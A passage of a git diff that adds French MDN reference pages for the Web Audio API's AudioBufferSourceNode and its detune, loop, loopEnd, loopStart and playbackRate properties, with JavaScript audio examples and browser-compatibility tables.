+  for (var i = 0; i &lt; nbFrames; i++) {
+    chanData[i] = Math.random() * 2 - 1;
+  }
+}
+
+var source = audioCtx.createBufferSource();
+source.buffer = audioBuffer;
+source.connect(audioCtx.destination);
+source.detune.value = 100; // valeur en cents
+source.start();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-detune', 'detune')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+
+
+<p>{{Compat("api.AudioBufferSourceNode.detune")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/index.html b/files/fr/web/api/audiobuffersourcenode/index.html
new file mode 100644
index 0000000000..b689f99b77
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/index.html
@@ -0,0 +1,158 @@
+---
+title: AudioBufferSourceNode
+slug: Web/API/AudioBufferSourceNode
+tags:
+  - API
+  - Buffer
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioBufferSourceNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p class="summary"><span lang="fr">L'interface <strong>AudioBufferSourceNode</strong> est un {{domxref("AudioScheduledSourceNode")}} qui représente une source audio constituée de données audio en mémoire, stockées dans un {{domxref ("AudioBuffer")}}. Elle est particulièrement utile pour lire des sons qui requierrent des conditions de lecture particulières, comme la synchronisation sur un certain rythme, et peuvent être stockés en mémoire. Si ce type de son doit être lu depuis le disque ou le réseau, il conviendra d'utiliser un {{domxref("AudioWorkletNode")}}. </span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p><span lang="fr">Un AudioBufferSourceNode n'a pas d'entrée et il comporte une unique sortie, dont le nombre de canaux est spécifié par la propriété </span>{{domxref("AudioBufferSourceNode.buffer", "buffer")}}. <span lang="fr">Si aucun buffer n'est paramétré, c'est-à-dire si la valeur de l'attribut est NULL, la sortie contient un seul canal silencieux (chaque échantillon vaut 0).</span></p>
+
+<p><br>
+ <span lang="fr">Un</span> {{domxref("AudioBufferSourceNode")}} ne peut être joué qu'une seule fois; autrement dit un seul appel à la fonction <code>AudioBufferSourceNode.start()</code> est autorisé. Pour rejouer le son, il faut créer un nouvel <code>AudioBufferSourceNode</code>. Heureusement ces noeuds ne demandent pas beaucoup de ressource, et les véritables <code>AudioBuffer</code>s peuvent être réutilisés. On dit que les <code>AudioBufferSourceNode</code>s doivent être utilisés en mode "one shot": une fois que la lecture est lancée, toutes les références peuvent être supprimées, et elles seront collectées par le ramasse-miette automatiquement quand la lecture des sons sera terminée.</p>
+
+<p>Plusieurs appels à la fonction <code>AudioBufferSourceNode.stop()</code> sont autorisés. Le dernier appel remplace le précédent, à condition que le <code>AudioBufferSourceNode </code>n'ait pas déjà atteint la fin du buffer.</p>
+
+<p><img alt="The AudioBufferSourceNode takes the content of an AudioBuffer and m" src="https://mdn.mozillademos.org/files/12670/AudioBufferSourceNode.svg" style="height: 233px; padding-bottom: 10px; width: 438px;"></p>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn>Nombre d'entrées</dfn></th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de sorties</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de canaux</dfn></th>
+   <td>défini par l'objet {{domxref("AudioBuffer")}} associé</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.AudioBufferSourceNode", "AudioBufferSourceNode()")}}</dt>
+ <dd>Crée et retourne un nouvel objet <code>AudioBufferSourceNode</code>. Un {{domxref("AudioBufferSourceNode")}} peut être instancié à l'aide la méthode {{domxref("AudioContext.createBufferSource()")}}.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("AudioNode")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.buffer")}}</dt>
+ <dd>{{domxref ("AudioBuffer")}} qui définit la ressource à jouer; lorsqu'il a la valeur NULL, définit un canal unique silencieux (dans lequel chaque échantillon vaut 0.0).</dd>
+ <dt>{{domxref("AudioBufferSourceNode.detune")}}</dt>
+ <dd>{{domxref("AudioParam")}} de type <a href="/fr/docs/DOM/AudioParam#k-rate">k-rate</a> représentant le désaccordage de la fréquence exprimé en <a href="http://en.wikipedia.org/wiki/Cent_%28music%29">cents</a>. Cette valeur est composée à partir du <code>playbackRate</code> pour déterminer la vitesse à laquelle le son sera jouée. Sa valeur par défaut est <code>0</code> (qui correspond à aucun désaccordage), et son rang nominal va de -∞ à ∞.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loop")}}</dt>
+ <dd>Attribut booléen indiquant si la ressource doit être lue de nouveau lorsque la fin de l'{{domxref ("AudioBuffer")}} est atteinte. Sa valeur par défaut est <code>false</code>.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loopStart")}} {{optional_inline}}</dt>
+ <dd>Nombre flottant à double précision indiquant, en secondes, à quel moment de l'{{domxref ("AudioBuffer")}} la lecture doit reprendre. Sa valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loopEnd")}} {{optional_inline}}</dt>
+ <dd>Nombre flottant à double précision indiquant, en secondes, à quel moment de l'{{domxref ("AudioBuffer")}} la relecture doit s'arrêter (et éventuellement boucler à nouveau). Sa valeur par défaut est 0.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.playbackRate")}}</dt>
+ <dd>{{domxref ("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> qui définit le facteur de vitesse à laquelle la ressource audio sera jouée. Comme aucune correction de pitch n'est appliquée sur la sortie, il peut être utilisé pour modifier le pitch de l'échantillon.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'évènement"><span class="short_text" id="result_box" lang="fr"><span class="hps">Gestionnaires d'évènement</span></span></h3>
+
+<p><em>Hérite des gestionnaires d'évènement de son parent, {{domxref("AudioScheduledSourceNode")}}</em>.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent, {{domxref("AudioNode")}}.</em></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple crée un tampon de deux secondes, le remplit avec du bruit blanc et le joue par l'intermédiaire d'un <code>AudioBufferSourceNode</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez aussi <a class="external external-icon" href="http://mdn.github.io/audio-buffer/">exécuter the code</a>, ou <a class="external external-icon" href="https://github.com/mdn/audio-buffer">regarder le code source</a>.</p>
+</div>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> contexteAudio <span class="operator token">=</span> <span class="keyword token">new</span> <span class="punctuation token">(</span>window<span class="punctuation token">.</span>AudioContext <span class="operator token">||</span> window<span class="punctuation token">.</span>webkitAudioContext<span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> bouton <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'button'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> pre <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'pre'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> monScript <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'script'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+pre<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> monScript<span class="punctuation token">.</span>innerHTML<span class="punctuation token">;</span>
+
+<span class="comment token">// Stéréo</span>
+<span class="keyword token">var</span> canaux <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;
+</span>
+<span class="comment token">// Crée un tampon vide de deux secondes</span>
+<span class="comment token">// au taux d'échantillonnage du AudioContext</span>
+<span class="keyword token">var</span> compteurTrames <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span>sampleRate <span class="operator token">*</span> <span class="number token">2.0</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> myArrayBuffer <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span><span class="function token">createBuffer</span><span class="punctuation token">(</span><span class="number token">2</span><span class="punctuation token">,</span> compteurTrames<span class="punctuation token">,</span> contexteAudio<span class="punctuation token">.</span>sampleRate<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+bouton<span class="punctuation token">.</span>onclick <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// remplit le tampon avec du bruit blanc;</span>
+  <span class="comment token">// valeurs aléatoires entre -1.0 et 1.0</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> canal <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> canal <span class="operator token">&lt;</span> canaux<span class="punctuation token">;</span> canal<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="comment token">// crée le ArrayBuffer qui contient les données</span>
+   <span class="keyword token">var</span> nowBuffering <span class="operator token">=</span> myArrayBuffer<span class="punctuation token">.</span><span class="function token">getChannelData</span><span class="punctuation token">(</span>canal<span class="punctuation token">);</span>
+   <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> compteurTrames<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+     <span class="comment token">// Math.random() est compris entre [0; 1.0]</span>
+     <span class="comment token">// audio doit être compris entre [-1.0; 1.0]</span>
+     nowBuffering<span class="punctuation token">[</span>i<span class="punctuation token">]</span> <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">2</span> <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">;</span>
+   <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// crée AudioBufferSourceNode.</span>
+  <span class="comment token">// c'est AudioNode utilisé pour lire un AudioBuffer</span>
+  <span class="keyword token">var</span> source <span class="operator token">=</span> contexteAudio<span class="punctuation token">.</span><span class="function token">createBufferSource</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="comment token">// initialise le tampon du AudioBufferSourceNode</span>
+  source<span class="punctuation token">.</span>buffer <span class="operator token">=</span> myArrayBuffer<span class="punctuation token">;</span>
+  <span class="comment token">// connecte l'AudioBufferSourceNode avec la destination</span>
+  <span class="comment token">// de façon à ce qu'on puisse entendre le son</span>
+  source<span class="punctuation token">.</span><span class="function token">connect</span><span class="punctuation token">(</span>contexteAudio<span class="punctuation token">.</span>destination<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="comment token">// lance la lecture de la source</span>
+  source<span class="punctuation token">.</span><span class="function token">start</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour un exemple de <code>decodeAudioData</code>(), voir la page {{domxref("AudioContext.decodeAudioData")}}.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioBufferSourceNode-section', 'AudioBufferSourceNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{Compat("api.AudioBufferSourceNode")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/loop/index.html b/files/fr/web/api/audiobuffersourcenode/loop/index.html
new file mode 100644
index 0000000000..f05b01a520
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/loop/index.html
@@ -0,0 +1,155 @@
+---
+title: AudioBufferSourceNode.loop
+slug: Web/API/AudioBufferSourceNode/loop
+tags:
+  - API
+  - AudioBufferSourceNode
+  - Loop
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioBufferSourceNode/loop
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriété <code>loop</code> de l'interface {{domxref("AudioBufferSourceNode") }} est un booléen indiquant si la ressource audio doit être rejouée quand à la fin de l'{{domxref("AudioBuffer")}}.</p>
+</div>
+
+<p>La valeur par défaut de la propriété <code>loop </code>est <code>false</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[2]">var source = audioCtx.createBufferSource();
+source.loop = true;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un booléen.</p>
+
+<p>Lorsque la lecture en boucle est activée, le son commence à jouer au point spécifié lorsque {{domxref("AudioBufferSourceNode.start", "start()")}} est appelée. Quand il atteint le point spécifié par la propriété {{domxref("AudioBufferSourceNode.loopEnd", "loopEnd")}}, il recommence au point spécifié par la propriété {{domxref("AudioBufferSourceNode.loopStart", "loopStart")}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est utilisée pour décoder une piste audio et la placer dans un {{domxref("AudioBufferSourceNode")}}. Les boutons mis à disposition permettent de lire et d'arrêter la lecture audio, et un slider est utilisé pour changer la valeur de <code>playbackRate</code> en temps réel. Quand la lecture est terminée, elle boucle.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez <a class="external external-icon" href="http://mdn.github.io/decode-audio-data/">essayer un exemple live</a> (or <a class="external external-icon" href="https://github.com/mdn/decode-audio-data">voir la source</a>.)</p>
+</div>
+
+<pre class="brush: js;highlight[17]">function getData() {
+  source = audioCtx.createBufferSource();
+  request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        myBuffer = buffer;
+        source.buffer = myBuffer;
+        source.playbackRate.value = playbackControl.value;
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// lie les boutons pour lire et arrêter l'audio, et le slider
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+  playbackControl.removeAttribute('disabled');
+}</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loop', 'loop')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/loopend/index.html b/files/fr/web/api/audiobuffersourcenode/loopend/index.html
new file mode 100644
index 0000000000..b76cfb83a8
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/loopend/index.html
@@ -0,0 +1,107 @@
+---
+title: AudioBufferSourceNode.loopEnd
+slug: Web/API/AudioBufferSourceNode/loopEnd
+tags:
+  - API
+  - Audio
+  - AudioBufferSourceNode
+  - Propriété
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioBufferSourceNode/loopEnd
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>La propriété <strong><code>loopEnd</code></strong> de l'interface {{ domxref("AudioBufferSourceNode") }} est un nombre flottant à double précision qui indique, en secondes, à quel moment de l'{{domxref("AudioBuffer")}} la relecture doit s'arrêter, et éventuellement boucler de nouveau en reprenant à la position indiquée par la propriété {{domxref("AudioBufferSourceNode.loopStart", "loopStart")}}. Elle n'est prise en compte que si la propriété {{domxref("AudioBufferSourceNode.loop", "loop")}} vaut <code>true.</code></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[20]">var source = contexteAudio.createBufferSource();
+source.loopEnd = 3;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre flottant à double précision. La valeur par défaut est <code>0</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est utilisée pour décoder une piste audio et la mettre dans un {{domxref("AudioBufferSourceNode")}}. L'interface fournit deux boutons pour démarrer et arrêter la lecture, et des sliders pour modifier les propriétés <code>playbackRate</code>, <code>loopStart</code> et <code>loopEnd</code> à la volée.</p>
+
+<p>Lorsque la lecture de la source audio est terminée, elle boucle. Il est possible de contrôler la durée de la boucle en modifiant <code>loopStart</code> et <code>loopEnd</code>. Par exemple, si leurs valeurs sont fixées à 20 et 25, respectivement, le son bouclera entre la 20ème et la 25ème secondes du morceau.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Voir <a href="http://mdn.github.io/decode-audio-data/"> l'exemple complet</a> et <a href="https://github.com/mdn/decode-audio-data">son code source</a>.</p>
+</div>
+
+<pre class="brush: js">function getData() {
+  source = contexteAudio.createBufferSource();
+  requete = new XMLHttpRequest();
+
+  requete.open('GET', 'viper.ogg', true);
+
+  requete.responseType = 'arraybuffer';
+
+
+  requete.onload = function() {
+    var donneesAudio = requete.response;
+
+    contexteAudio.decodeAudioData(donneesAudio, function(buffer) {
+        maMemoireTampon = buffer;
+        dureeMorceau = buffer.duration;
+        source.buffer = maMemoireTampon;
+        source.playbackRate.value = playbackControl.value;
+        source.connect(contexteAudio.destination);
+        source.loop = true;
+
+        loopstartControl.setAttribute('max', Math.floor(dureeMorceau));
+        loopendControl.setAttribute('max', Math.floor(dureeMorceau));
+      },
+
+      function(e){"Erreur lors du décodage des données audio " + e.err});
+
+  }
+
+  requete.send();
+}
+
+  ...
+
+loopstartControl.oninput = function() {
+  source.loopStart = loopstartControl.value;
+  loopstartValue.innerHTML = loopstartControl.value;
+}
+
+loopendControl.oninput = function() {
+  source.loopEnd = loopendControl.value;
+  loopendValue.innerHTML = loopendControl.value;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loopEnd', 'loopEnd')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.AudioBufferSourceNode.loopEnd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/loopstart/index.html b/files/fr/web/api/audiobuffersourcenode/loopstart/index.html
new file mode 100644
index 0000000000..25c55f52d1
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/loopstart/index.html
@@ -0,0 +1,152 @@
+---
+title: AudioBufferSourceNode.loopStart
+slug: Web/API/AudioBufferSourceNode/loopStart
+translation_of: Web/API/AudioBufferSourceNode/loopStart
+---
+<p>{{ APIRef("Web Audio API") }}<br>
+ La propriété <code>loopStart</code> de l'interface {{ domxref("AudioBufferSourceNode") }} est un nombre flottant à double précision qui indique, en secondes, à quel moment de l'{{domxref("AudioBuffer")}} la lecture doit reprendre lors d'une boucle. Elle n'est prise en compte que lorque la propriété {{domxref("AudioBufferSourceNode.loop", "loop")}} est <code>true</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[20]">var source = contexteAudio.createBufferSource();
+source.loopStart = 3;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un nombre flottant à double précision. La valeur par défaut est <code>0</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est utilisée pour décoder une piste audio et la mettre dans un {{domxref("AudioBufferSourceNode")}}. L'interface fournit deux boutons pour démarrer et arrêter la lecture, et des sliders pour modifier les propriétés <code>playbackRate</code>, <code>loopStart</code> et <code>loopEnd</code> à la volée.</p>
+
+<p>Lorsque la lecture de la source audio est terminée, elle boucle. Il est possible de contrôler la durée de la boucle en modifiant <code>loopStart</code> et <code>loopEnd</code>. Par exemple, si leurs valeurs sont fixées à 20 et 25, respectivement, le son bouclera entre la 20ème et la 25ème secondes du morceau.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Voir <a class="external external-icon" href="http://mdn.github.io/decode-audio-data/"> l'exemple complet</a> et <a class="external external-icon" href="https://github.com/mdn/decode-audio-data">son code source</a>.</p>
+</div>
+
+<pre class="brush: js">function getData() {
+  source = contexteAudio.createBufferSource();
+  requete = new XMLHttpRequest();
+
+  requete.open('GET', 'viper.ogg', true);
+
+  requete.responseType = 'arraybuffer';
+
+
+  requete.onload = function() {
+    var donneesAudio = requete.response;
+
+    contexteAudio.decodeAudioData(donneesAudio, function(buffer) {
+        maMemoireTampon = buffer;
+        dureeMorceau = buffer.duration;
+        source.buffer = maMemoireTampon;
+        source.playbackRate.value = playbackControl.value;
+        source.connect(contexteAudio.destination);
+        source.loop = true;
+
+        loopstartControl.setAttribute('max', Math.floor(dureeMorceau));
+        loopendControl.setAttribute('max', Math.floor(dureeMorceau));
+      },
+
+      function(e){"Erreur lors du décodage des données audio " + e.err});
+
+  }
+
+  requete.send();
+}
+
+  ...
+
+loopstartControl.oninput = function() {
+  source.loopStart = loopstartControl.value;
+  loopstartValue.innerHTML = loopstartControl.value;
+}
+
+loopendControl.oninput = function() {
+  source.loopEnd = loopendControl.value;
+  loopendValue.innerHTML = loopendControl.value;
+}</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-loopStart', 'loopStart')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/playbackrate/index.html b/files/fr/web/api/audiobuffersourcenode/playbackrate/index.html
new file mode 100644
index 0000000000..550f87be46
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/playbackrate/index.html
@@ -0,0 +1,201 @@
+---
+title: AudioBufferSourceNode.playbackRate
+slug: Web/API/AudioBufferSourceNode/playbackRate
+translation_of: Web/API/AudioBufferSourceNode/playbackRate
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriété <code>playbackRate</code> de l'interface {{ domxref("AudioBufferSourceNode") }} est un {{domxref("AudioParam")}} de type <a href="https://developer.mozilla.org/en-US/docs/DOM/AudioParam#k-rate">k-rate</a> qui définit la vitesse à laquelle le contenu audio sera lu.</p>
+</div>
+
+<p>Une valeur de 1.0 (c'est ) indique que le son doit être lu à la vitesse de son taux d'échantillonnage, une valeur inférieure qu'il doit être lu plus lentement, et une valeur supérieure plus rapidement. la valeur par défaut est <code>1.0</code>. Pour toute autre valeur l'<code>AudioBufferSourceNode</code> rééchantillone le son avant de l'envoyer vers la sortie.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var source = contexteAudio.createBufferSource();
+source.playbackRate.value = 1.25; // proportion : 25% plus rapide que la vitesse normale
+</pre>
+
+<div class="syntaxbox">
+<div class="note">
+<p><strong>Note</strong>: Bien que le <code>AudioParam</code> renvoyé soit en lecture seule, la valeur qu'il représente ne l'est pas.</p>
+</div>
+</div>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("AudioParam")}} dont la {{domxref("AudioParam.value", "value")}} est un nombre flottant à double précision, qui représente la vitesse de lecture d'un son en proportion décimale du taux d'échantillonnage original.</p>
+
+<p>Considérons un buffer audio échantillonné à 44.1 kHz (44,100 échantillons par seconde). Observons l'effet de quelques valeurs de la propriété <code>playbackRate</code> :</p>
+
+<ul>
+ <li>un <code>playbackRate</code> de 1.0 entraîne une lecture à vitesse originale : 44,100 Hz.</li>
+ <li>un <code>playbackRate</code> de 0.5 entraîne une lecture à la moitié de la vitesse originale : 22,050 Hz.</li>
